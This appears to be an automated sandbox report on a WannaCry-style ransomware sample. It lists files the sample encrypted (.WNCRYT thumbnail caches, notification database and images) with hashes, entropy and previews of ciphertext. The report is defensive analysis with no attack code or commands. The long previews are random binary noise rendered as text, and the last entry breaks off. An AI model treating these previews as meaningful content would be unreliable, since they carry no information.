                                                                                                                        Preview:WANACRY!.....6.:.2.y43..o...m&.5:.g...C.l?._.........A.<.?.'|q!Mmu..EO'...a.........(..........+n~ZH1......O..1..`....$..:^.c..r.G..x..G.....*..n...##.zV]+.}...._).....Ps./g..PV.g..%.>.-.g<.Rc8\_.....0..~...hI.u..W.M./.f!......g.cV......x..!U.,..H(.:.].;x..............t...o.j..6.=.!{....lG..}_./.C'.i j:........v.Rz.[U<..4e.oH...$=;....].K.......j.lQ..|..9..~)....9..g..`.x...Fnl..`.Y.(z...4..>.:I..4...$...Z::...?.kR^...W..e..?.5I.`...I..=[..........gn...J.....AJh.w..VC.K{....^A...m.s..pI...q...y.YQ..~..".........rgw.A..s.KKK.....S...},.A...<as..........6C+0....*Q.{/N....=.....:w,.!$.g@..T..m.y.X....7v.g...UR....-..6+..B.5Q.......Sx........*..Y.V...6..8...E..".d..d:Vn..qJ....G.......#;iys.5.4s...Vz.w....C.b..s.7....=.....9..^...e.w,L....@dp+U8H....M...r.$i.h%.w.......}S....v.>n..H.{/.t.=.y.....g......P......LV..Z..,m.....e^oo..w.*.C.5......#.`K!....{j_.......R.j..zd&.p).q..e.b....L.T......l[.k.....}..B.:....b%.G.GE.[..T...H..A....eo..1....D1.Wg4..

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_768.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):312
                                                                                                                        Entropy (8bit):7.19518002362529
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEYPsOiZu52EWoCR92UjMT09QffGTXH2mSlLQoaSx6vUV6wN+G/:bkEYYr92UImTXhSlhz6vUsG/
                                                                                                                        MD5:1ACF1B55E7B48385E50E43199BB6618B
                                                                                                                        SHA1:56FDDD0C1938FDF087F4A21561439B8DE9E2C830
                                                                                                                        SHA-256:3E7E3B67C3F708F7880FDE1AA7920F21800867137AAB0FD6E7C90AE4B99DFB6C
                                                                                                                        SHA-512:65A29635776B21D68B7B1F253EA2FD3D5837AA66936A30B15546B77B85BA9C0DB8659376C5EEAA16A1F588079C8EAC0E4D4CEC86ADB0E50AFD465FE599B9B4A2
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........,.j....O..S..t..!O...j...l..._..o'.J.[.LB.a.<........ i.a..D.hZN./.O..~............V....}.}....S...,.mF~!.....r.(..a........fR.5U..r.....#6...n.......s...A..$h,..Z.........-..+o..=5.CT..RE.....$.nAYZ.Rnu.......@-........ ..e......2.............#.jP.AK..~c...L.r..H......s.

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):5243160
                                                                                                                        Entropy (8bit):7.999968079551937
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:98304:1xdLT7/DQkMypn9nJlWSMf6JdYFVAlpppVYOAO2xEnTnUz:jdvnQSHJg8dYFVeb5rQ
                                                                                                                        MD5:86A14EA109A7A45D6086201EE4331D2C
                                                                                                                        SHA1:FD9F9D9843DE0DD47276D498B6FC496D49E34FE9
                                                                                                                        SHA-256:3D54764938750197BB8E3D1B6EB8405C93648042E210E3C74FA90EC7F7DC0805
                                                                                                                        SHA-512:47C6B453304CD992A8A6765D04DD953EBB13A2B8AB73BAFEEB7510ED529306620FECEB23E1DC7FF3DD959494DDBD15CD6EE87CF460C7FCDBC2C6D20B177177AD
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......=!G..$]....l..jN.t..._Yr....I.d.4s`....i........_#..3..2.}.K......=.2.4@.Pa.".......:@...MJT.s_.`T.]..".~U....|....%.....8~..T`5.[!v.z..m..8..L...VhC._.....1.hl..D..i..~.gu.....?I..f..G3\:.......L!....1.....f..N.J.........qD.7IR..?k..1./.....@.P.......P.......p-..F.D(..6...ifz).(.|}.h..{m.O.|".o.7.r.....rfA@....p..(6..3...DRS.[.b......R2.....Q.+&...s>.2E..=...?5..g..n..Zz]3.z....\0...R`..@.r.c.ag^......V...?M............G.M>p6..:....X$3N....)U..a>G....Iz..0.#-..........o.<.Z?..|..}p.6'o...mM.....s..~AD....+.(...V.Y..q....G..B.. 9.7..Z.C.-(.V...76.....v).I.__.l<..M2..H.E./..".#...K..?.P{X.....j+...8.$..*...E.#p..+..V-.`.TvV.Y.q_..pX...eI..{N.zXa....v.(.@.....Q.Be.[f..j.....{..`.....'.U.....^.5~!.....j.n....|.=a.i.+.~9..P....8TcD.....:.t.......u.{)....u.n...d.h......}4.T....4....".F..e....D.'....zq~.....I.s.*!.gq.]S^ w<....lU...K.._T.....?..*.qq...a..U......H...Q..N.Cu+.kX.......t.ai...q..~......n.O..6.2...q.=...5..0..8.q.

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_custom_stream.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):312
                                                                                                                        Entropy (8bit):7.234355194930896
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEI8C3LjpQjZW9qxkPrjqpRweV3EDAnu0ohMv3/8zoSKk/x5UGk6FOctnx:bkEIt3L9GWcxkqpR93Es7oevPFW3cIbx
                                                                                                                        MD5:7D61C081D39A4EBC11EC822AFDA7CC38
                                                                                                                        SHA1:868C07D271ABB8F8C303697E0C458F6088742DB1
                                                                                                                        SHA-256:3C20B0A40416276FB63C22D535D69B0B52A3ED5D79FAF72A773631E877052E66
                                                                                                                        SHA-512:BDF0AC209FC3451784C15E3223B3D4932566D1FFE715E9EF9BB76F72E85037CA4A7C9504C4BDBB0DE3D80BF29EE3211232AA9F162A46E734E5E528E3FB16D885
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....`eF......a.U...<.....L.....$:....>...D..f...br..y....DZ.h....J...g0=.a..b. .7..+..q&.QZh.....Qj6k'M.s3x.....e4Q..4...X..V.5|../(..._.L.G.......qK.....M ...9." .E.....r:..R..}^.2.....|J....B..!n...../.:R.)...4.....:<Hq ...D...N...;........1p..7.=L.............oz...z..6.S....R.k..l......yy

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_exif.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):312
                                                                                                                        Entropy (8bit):7.23722943221107
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEDxUoXYx+Rp1VFyfJz1h0qG08f6LnBNdErwD7hcyb2OSXu2fud:bkEDUx+frFyfJKpfgndMwD7Ky6lu2E
                                                                                                                        MD5:BDAF2BC74A68FB557599F182CD61F48A
                                                                                                                        SHA1:9781F1DC4BCD667CE7F47237781A329DA21D71A6
                                                                                                                        SHA-256:9C50F81ABD64D37BF222E0E427A08B1ABD472A38DBE51E38F6501BB642E997FA
                                                                                                                        SHA-512:293822836C344A7B8EF25ABE2E2312EB6F8C4BE1C3BBFCF64F4329A31B7D257F36BD55818694E0D217ACFB6A27DEF1C437D0A8077DD7D01912379F3A221571C5
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....)X*z`..{.!]>..}....g...(.Z.....n_..0.....f(......k...2<8..).'`0=.`n.J.1x...2Z"\`-56x..t.wr..^~.`m.B.fv'..+.?.zevs.5l....K......'.._$.r.#t.P.r......d....&F..G^X.TQ.....8.;...D...[..2w.l.......v...3....sQ..xc...FX.N=.g...9...'......Z.9....3................87.Hm..2.oy.....j....K..4...`B

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):58600
                                                                                                                        Entropy (8bit):7.997035980591399
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:1536:v9TXCkUjqw9HOARDL7xqrkzfmp13fGx47RIJ19j:1T0HD5nmDOxGIJ1x
                                                                                                                        MD5:30898723A3ABCCFCC60EB249575DC3DF
                                                                                                                        SHA1:9514FB227A717B8C5FAF647F60B209FF446EEC14
                                                                                                                        SHA-256:F9C933D0E2DB7C0F716B0C40BEB178267C2CAA3D00AF534BB038CAEE3E293FA2
                                                                                                                        SHA-512:08F522FFFE1F30DB3305F061067F85C10DD92DB469C66FD8C68E7D75BE449CF66EDA076AA9C6116018BD86B2DE34D7D22D817DAB316FBE2C5E6A47FF349D3A9F
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....s?.IWc.C?Sg..(.u1.....N..k..nl0.^oE....F\.M3....'.]N&w.).Ft0nctN..->.[...^.])1.%.8.....&...4....R.....7K[.#.....u(.P.......X....L=..;..C......}.20.h....!.q>PS3...e.vYn`f!R?..F..r.BGWw...@K].....P. ..I.=.^U...>......L...o]..zy..Q.k....\.{.............s`J.'TB^...[Z...w.(...{_........ 6#.... .`.g..o.k.g.}_H..J..........{..-.A..E..h.....7..7q./uk.NK...1.._Z.`.I....fF.>..5tI.x7...},6+.H..&"@......P4t/d.G,........W.j:.....?.>":.{p....:;....E......P.{E..c.hk.CX...Q.l7..$..>..P....X@...*|.'EBF.y....$..&4.~..)...@.*<..Y..F.._.8..ac.@....Wx.3).xb.vOO.....L^6..T......ttb.h.>E:...p.. .Q...<.;P..Y..`).!'.BJ&U.V.DkV.fw.....|.+UwWB."..I.'..D..H........L...^:.!R&.._. .s..|.N..L...]g....R...S|.`..bh.7fb..O...gR..I..U..&]..(.x.cn..._{u...ST.............+.Z...Q4L..".o].l.. ..]........v."...gL.z...;...7.Qh.....:T>......G..#...j..._.P.~D1.fg^.f......+.Q...*......\....v+..s:..|..5O6.Z#.v..2...Jy9l.H,.c.. ...........#U...".W.]m.U.?.;..3.(.^"#.)E...+..

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):312
                                                                                                                        Entropy (8bit):7.248645395510979
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEYR0pTPZSZDOMdf5dw6Nqg5/aNjtGCJAYVaV4asnyjBgV:bkEdVSZDJvdzNG5D2YVaV4pyCV
                                                                                                                        MD5:B0CDA2806D8E8B45C8E9B2AF31BCDF3E
                                                                                                                        SHA1:3C195409BFA1C5692AFAAE461016159157620514
                                                                                                                        SHA-256:F2A4E8D5C7069499C92921F37CAC1E41F7BBFAC892130936511EB2F9105EB70C
                                                                                                                        SHA-512:E049AC29704285E8AA00E419EA979EA6F1FAC453A5189E288DF378E77CAFA66E521E2D49CEC71FE52F15BE58675B510AEF38F7E0D4FD8404C6B272D4A99B1809
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....ZXv$.LtC....i...M.'.GQ..s.z.6`1e{...dW`.$..!|Z...A9.mn..<|c.^{.@.......f+...B."..6.......?F.^..(..w$9...s....o....V'.<.....Gy....EQ...L...K.k..).u<.....Z..G6M.../cZb...\:..........uG)mS..].....q.^....-n";.P..J2._.4+`.,.?.H"&....|z.jh..@w~..J.N..............r...b...=(/ULL. >zp./~F.R.....

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):312
                                                                                                                        Entropy (8bit):7.228542574648444
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEhDO62k5QSLcSMdpsob8OoMs8KH/CF6CN+F24okFr1eB6YLCPW1bZY:bkElO62kzBipJ8ObXhF6MMnVFrqLMAbW
                                                                                                                        MD5:5B97D77DA5EB4C2B1D99AC22FAF086B9
                                                                                                                        SHA1:FF4083A91134EF149D99ED4B66C535F1BFD5F488
                                                                                                                        SHA-256:E0BEE3E384786C74A559C9E7B791AB364AC2ADEADC1B786D24F958A9CD3047E7
                                                                                                                        SHA-512:78483A0973833B0A7572AC614B025AC1AFF27EC0DABFFF298593A0FD46A0485D416BC359F6FBE012ED22611F9F2DB9A6C16C054B20828BB49A3C07C747A69CF8
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......0+........V..Mf...lM..."..vy-....@....Q....H...r3I!...`....wz.M.Wz/....[....=..6T9..8.|..BZ..z..Bg.l v3.U....c..9...X.......{....g.wu..v.f.na5.d.e...I...X.3g..#w..-...r.;...........|.N....x..7.......@......V..@]8.}....s{.U.I..U...`..j...............k..e.J|......{J.....R......h.

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide_alternate.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):312
                                                                                                                        Entropy (8bit):7.170595389243111
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkER2JtN8szg1g47Z29DVC+zvv2hd+1zu4IYvqUxkwJsrjSQL4I:bkER2RFzg1FZc9zv8Eu4PFxkCyTL4I
                                                                                                                        MD5:C0124B0E6C47B581C37C2BD68C53D89A
                                                                                                                        SHA1:2286D2EE316D8F416EC7AA71141E4771F40356F0
                                                                                                                        SHA-256:D3D71C5EA8F2D701F006D2841D0D51C1BC2C399602EC5F8CC79E264FA487F807
                                                                                                                        SHA-512:BDD4BDDEEF20B4C736120AFCAA74EF25C6168C545296BB8FD461CF8409EA11B5C65BB326FB9B8CC45A315D89F6B39F93797F331A3E4E9FE086B08CF94B222DAE
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....r.......0q.."3............N.E....|..b.(2*L...zJmU...[5. ..c>].D...>........./..;............-U.,......h.<....".ec.....A..vI+?..(..EmarS|.........1../V......|./]1.{...$.@......M|..&h(C.%?....X./$....S.E.k..=t.V.1.......P7@.ig.!J..trh..!.../..............,.1<...v....(ET1...`>...=R~.]..U

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1048856
                                                                                                                        Entropy (8bit):7.999819306148079
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:24576:1dmNeoY0mKi4z8eMjzoNFVuTND3f/+KFeCV2Qccz5rDIVez7zS:+NN2OIXjzV3+GnV2QcU6ez6
                                                                                                                        MD5:5BAAB4DB877F699DE1FB019EEB95732D
                                                                                                                        SHA1:5AB0CE231609AF63593F2D51BC0CE939E4D629F0
                                                                                                                        SHA-256:BB250881597BFE320B0FF416D01C8FD269875F192DD22853BB450F1901613E75
                                                                                                                        SHA-512:F0DCA77E195BB29CF4AED90CAA3764CB6BDE56BC84872A357C7E5D6B8A3A4B168ABF6C0BA2353BDF31A3C8F643B7F9BFCC0479D5712F8082F98374430F76C823
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....K.!.P3.......D..W8.^:..}..w..V.....V.^y.!...U.K........U...jE.`.......Yx.2..l...Q.p.z.Xq..`./g"...4,..L.d..k..*....Rn9D5.q`:..I..._......Q.......K.IO....'.....LlL.-...u..Sq.&...S......&e c:...L.f.PR.FR.C..s...ciHF..M..k.B.._c.'...x.J.."....W." ..................y...f.Q..L.._3.22}....|...y=o.w.....w...l...!r.$.W...%J.;.......W-.e._F.g:bi.....).R4..\......=.....\.`r.~L.5..4@.........gQ....Y].)..F.g....b.)~.3W.....+.u........]z}.t.~.SxGT.].H.....E..r....%?...|.z..t..].-1.......<.(....q....{}...&...|Nl.^^....=..Z..5C./..tA.1&QB.8....O.Hxt.F.&y.t..;..F..R.......L+.'...C...D..YMI.s6..$.6..#.......sRM....]....&.....5.U..n...(....5....;.!.D&......M..5../.....&...... N.0$.@3B\......g._N..(......u_.....=....|!t0.. _U..z.)...K>2..*..f....N..=..ki.2..d........X...O6&.q.-C...8Y.5.Q5kP..r%.t..2......kw.T....,.mT.I/5v......h.t...uZ.;8a~.}....z.y..n..&...F.XC...u.T.A6....IK..^.....PQu..dHk.....I......vX..5#..o...[dI..w.u.......-.>.J.].r.A..

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpnidm\1196d63c.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):6360
                                                                                                                        Entropy (8bit):7.967048368178683
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:avDKWUQQAZTSN/xNw6km6I8+GBkEMvu/VR:ap4/bRkm6IPbW/VR
                                                                                                                        MD5:17F36671DAE667A2DAAA751E0401F4F8
                                                                                                                        SHA1:8EBA896A3154EA0526F90D9B89193D5C4DC4CDE6
                                                                                                                        SHA-256:DC65F0F6D612B1D6998199C1CE1DE693D3F7DD82F2AD96CB1AA4A376074A25BD
                                                                                                                        SHA-512:6103120FD2288C361A9DF07C5FDA757B133CEA0E9D7BAAC11F6D947EF04CBEB67F2C9242B572FA6B2921397E60F4ED642D978D528B452451B118306BC10C227F
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....h`.7...u..R..J[l..~g...._...`.......Kz....q....8H..E.".".gL./@..IA...g...W..X/cB%..2..S...j.S...S.f%@..4'...}|.y....w..D]8...... n..r..~..~AKo;../#.....C.bl...a.\.g.?.aG8..x..).C/..Ec....n...8.|......F....{....=....a.{..U.^..../T./f..\.l..s...<j.............."o.m...?z..#z....p......Hx....... KO.]...h~..U.)...#%.C:.D0.-^..g..`}..Y.......+l.o].o..x..<u`:5~....oO.B.[d/ ..G.....;.:.;.Rq...4!.h...Z.._.6..CY...E.6...s|....@.*q.c.)..?.t-.j...#$.S.h..lU.c.].........m..P..u....u)O.R/?....F..<T..a+...5K@qoC....[Y..7.. )>.6..H...3..6...H......!q..I..!=..4.4p_s.S.x?...;.Q K.~.v.}..../..*=F....A..-.CE,%......hM....'P....z....n..}Ay:.@H.(...p6.DA..z.kJ.9...`.......6a._..O4.X}.5.5.#...?..9.....%DG..A........L~.*.>.NQ.tAf...L....W.>..~...+....._.......%D.G....4.sMk..p...~.....3..r.(9...10.......i.a#{......_...F.o......57.....o^...*.Q.u..7v.g..v.+..1.~<..Y.......2`......s..:S...`.x....rD...H....k.....x,....K.....J...%l.i.R_..n........).A..L$..

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpnidm\2b67b297.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):6760
                                                                                                                        Entropy (8bit):7.968772581062215
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:cBhRSCsGa+3zAvQV+wvaftMLlXkQuEW+IhLgty27:cBaCjDA42tiXh4SyS
                                                                                                                        MD5:63E24333BEA9781B77B6FD09FA993DFF
                                                                                                                        SHA1:C8B403EAD2F4AEB060788E229AA13AA87EA1261B
                                                                                                                        SHA-256:962D114490BADE60C674F25646738C83F41D4E5F240C14872A5A66C4B514D596
                                                                                                                        SHA-512:414D8BA87EE68981E0F3B1094F1F3382B1A5ED01BA3D1FA2A27A4888C0C4E60E7F4C4DCEAA92BCA3A7B7D1162FDD5AD280813FF7622F10E252DC5AF9B7B1A781
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........,...n...!.....iF.ay..$W.4..X...v....&......r..Y+.!El.X..V...P.....7..0._M.S=^.C.[..=}...}s.]...xt..P.....$.....;K.T....<......(Vw.O.......o.r..?...o.lM={.....9...c..._.X.n.K.B.c.$u.....O?4..S"....n'....4..*4.J7..A{8?.TN.@5.O.+m.V....!...$......K..........D....`.eh>...........V........x.[.J.v.^.q....-s......0..b{.q.#.tK'.[..[...|om...h.......5n....y./F....../.....0.Ho....0...0 .[.r..1...B.4Va..*k.."c...t..$.mN...H.u...-\.f.P..1T:.t+...o.R.\.G...z..J....(.(.G..6....m.].....2.......~.a.....u3...&%.FoD5>.S.{..hY....~.0..z^...b.Sekt....+hN....w...R.....q.Z.....J.....x.7.6H....|]$..3.....GSX.g......6.Yg..bI.;......k.Um.:`.O.+Du.`.>.G.c.L.....]........:o.x.....!...".t.sz.....5.1.q..u.......E.-...skI..2.Sz.?..:.a.........XI.wg9.J.z.?.8..mf.....L.n...@.7..qD..{q...V...0.'.`..J....p&..U.)g..n.&e....~...j.P..'Q..H .d.w....*?..].9d..F...kN(5E?..~.=U].4._....C.r.v.|.......F<..k..j...x.-_.3..y.j.o..")..?.......<.Rf#.BJ.?].t/&.0..G

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpnidm\36378e77.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):23448
                                                                                                                        Entropy (8bit):7.991142826324677
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:384:MiO/GeFuVae70xgsO+SK6TthLaUi6AdZtgXOQ8KgcWt8ZRjePMfVXiqnQTVkCNfG:M1GsAae71GStTthLaUxAdDgXOCWoj6gP
                                                                                                                        MD5:67F6CE3CA8CDE50FB2D3D2A419CC99EF
                                                                                                                        SHA1:6F298B0DDEB4618076E8A0AEA32A8FFB824409A9
                                                                                                                        SHA-256:FE1AECA72D77FC504FC6C9D2A6048693FB10FAC9010C523E051B09CD58B1682E
                                                                                                                        SHA-512:826907FF3F3F3E2AB2C4C599E20B93118639263AC13C10DC8296902D8DD03DD583620F0BA878A55698B33045A44EC4704A0908A59951F02C01422222F866933A
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!..........c5........<6.F.*.c.@}...T.<y...z...F.Z.a7..f.{..y{IU.v.G........t..>...G}..vX.B.....A..G...K.\.#.........9 g..q.`\n......%.7..r.G=.Y ......q0..B.A...6..p.k.~....5...J.....+'s....~.tV.......?..^....G=...@W...s...9...)..B<..7.9w..@?.*.W..l......uZ......p>w.^..z9......IqT....(bcq].......d.m.F...3#. ......F..(v;c...%.k]._lm'.7....A..*..k......-..n#.+.:..S!.5'.+u.5a.=.$...q^.i........^Ie.K.z=bv.E.?.{/j..z!.A7.oL!2...IlE..xs.;....|4QC.m.'O..C..4./..../..VO...$.8%x....h...7.4.."/j-/..b)...W..8>.h..t.....".\..=.sU.....p....J..0......).X....~..zs.pTz...HfOM.y.k7..7.m.M.....e......=.G.#...j...2.=...X..!.E"...C..g.a.;d.._..(..p.-?.S....d:...+}J..%....|.(MN..oqw..d.@W~...!....P0d.%(...*.}.<0B...Z>2a]....R....{....e..%.y.}..K%.+/.)..G.%"G...F......X....@.j.........$Q3.|U..&M..U./7{$8...7.v......Tq.........;........k#M#oU...18..,....._...k..+........V...l...{.^...naT%),[`.......|.R.....\......]5.8R..ho.o....TI.+...}..a)...Vv. b.../.wc(ts..

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpnidm\4683b0e5.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):5880
                                                                                                                        Entropy (8bit):7.966006068786422
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:oTXiIaHH4hxI2AXokxQH0qRAAdRfAIQhKOu4ZyYYhsems+w9iwCMPTJPsGeKbn1A:W9W4hxnIoR0EAAd5QhKE8O7Y9iwCkd/a
                                                                                                                        MD5:9FBC2154A52DD843024ED15AF848C883
                                                                                                                        SHA1:757E30B85B0A07BE266C18637F5B26E75377B2D8
                                                                                                                        SHA-256:A22820BACC23478803009CB5163AD77D0730410ABE11C709AF05453BB429FE40
                                                                                                                        SHA-512:F428BC15FD5C9BD1F3E8BFA2F8C42538D95FE32226B6E60299C04151BF9299651F911F8A16D44C27BBED1161CC8BCE242C2BB5AAB7E6ABB2C3C7C8B652228A86
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......T@.`.X.e^..]..<J.!.'..`%...~1j...w9..s6........?.<.q:? ...!....LP......e!.\.......Z...x.....t..J.8.s.H.@....0.;W..Ua.?S..}>. O./x..%...X...D.....}S.....{.6.....B..+.~.S..$...8TC.)s.\^.J..$...".....Tu..6.......j...'..1}......u.xT.AJ.IcbF.._]P'....~............%..q7....rO......{........".m....|....N0-.."....e[....Q.|..G...2.CQ.a!..c....Ji.....Q.-..T....w.d9....%....N..^TQM...+.d..W.W.g.qjBY.M..fr.3".]....?..[R|>..Bz.td#.$..z....a.[><......@.q....sV.....`..M.._.0.7<3..V.7.\.(..._u....Eq..z..I+[D.e>..,..-...KQ...7Jp6.Y[.Y6....|l.F..rC....d...fd.Cc.9.!......[...2.l.....Ux.LIa....F.......ZRu..f.^.E....t...he...l....OWk.{..dl..w.#.rc-M:.*.m........s*.....:..7.R*s.......?..j......#>...$..V..O&....90..l.....H......=...{.......3.7%...j<.;.U.U..`..N.=y...t..gh..@.z.&c0[.yQ...c[=C}}m.7..!.:.k./8...._U..+.."u.p.v.:X.l2.P4h....l...Je....?.#..a.d..!....U.....J]P....@&.,'..s...1...?........4.0'%`S....l/d..Y.5..\........z.;m.D....M'....l....MaTS....V

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpnidm\5fc0968a.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):5240
                                                                                                                        Entropy (8bit):7.965909687371801
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:ol3OkviALPDrjWzs/HQjdxQqMrYxCGPN1+XHYOZLcGLfJe/96FyXujGhZD:M+FAPNqdxQ7GPwYQ4geIFCsGhZD
                                                                                                                        MD5:53C052345B3C53F857756B027C24C1F8
                                                                                                                        SHA1:C4D48503046608301B8E82A7BD402F26F65E47B4
                                                                                                                        SHA-256:51DEE6168CF4E501B30C8BF5BE94DABC189D864320A2EBC89B02CCB0584DF9F2
                                                                                                                        SHA-512:6965C7C831DDA153372F5338BD9BFCDC53F0FB987ADD3EC40B0E288EE02B48AA9712431A6D492E8D3D5D2E3FAC112656E80644FFB1840BEDA36F2C958115A2A9
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......HHF../M..Q~.v:1...@(G.~....4...'P&k.....*."..%I...|q...O......CC.$b....u...%k.\l.4.....&.u.h...P.......D.sjG..8..t.....Y.....S;9.L.....rY<....%..........L...YH.o.dx.mhu.-.d9..........B.D(.2.\#..F.Z..`...p..l.jv.9.@.$..p..6..=P.....h......j.....X.......EU..q...!..{.+"y.nX2..'....{..X. .T...I...P..\K.U...5...Wx.....).E!m. -l....R..I..R...dt...C.0....-...C..K.../.:..h .U>IM.....Q.>.../bE...7N%."..m.cv...,X..y.....++..3X/ZX.'....2..... .o..r.{..Z.Q.4...%...7..._.,7b...|..Q..0..{..8..*..3!5......a.xB......x.qT..3.Fc........*.;tl*.+.,2.|..N.....Y..hjZYP.$=......N>..O....4...l....2...:.ln..gS..3E..B.z..]#.......UF.....1..ql........7..|.....{.KZ..k.\h...}...s.T.<c.%:v}.3.&.}.4^..1.e.Bk.}....l....<]+..!&.;.{.G...0:x..s....!...%i.V......M:TB#...l....Lz=5=C.&..k"...v9I.(.,..,....S_.},..k..c.V;i-]..H.c.K....e)-..!.K.}N$M:...M<.l.{....^#jX1m..G..r......K<.....9.j5.....b.x....:..^W...P...b.A......4.o.c.K....l.U.("Y.})xQ.:jR^.kI_.$.... .

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpnidm\70af9816.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):9736
                                                                                                                        Entropy (8bit):7.982817566455414
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:+Fw+aIEzARWS91FPbZFpZ18JDdtk2GqhaLW2UxlliJndlBjyUshgq:5qRpbZFAkRS2IgndlBmUYz
                                                                                                                        MD5:DFC66FD558EE52CFA4068206D13705BC
                                                                                                                        SHA1:BA203389AE599BCB3F6C9075705579791574F652
                                                                                                                        SHA-256:6D8EAD22C7295527AA97D1C4E3ABF0BA759E610064F4DDAAB91953DEB6F8D7CA
                                                                                                                        SHA-512:3B6205AF499025A7E3B577A1372308825A6F3E86859F3826575E25A16A79862D6DDACEC29806CBD6BF70AC189DCE44BE44C00DC353CA0994F9792284AE2B3A20
                                                                                                                        Malicious:false
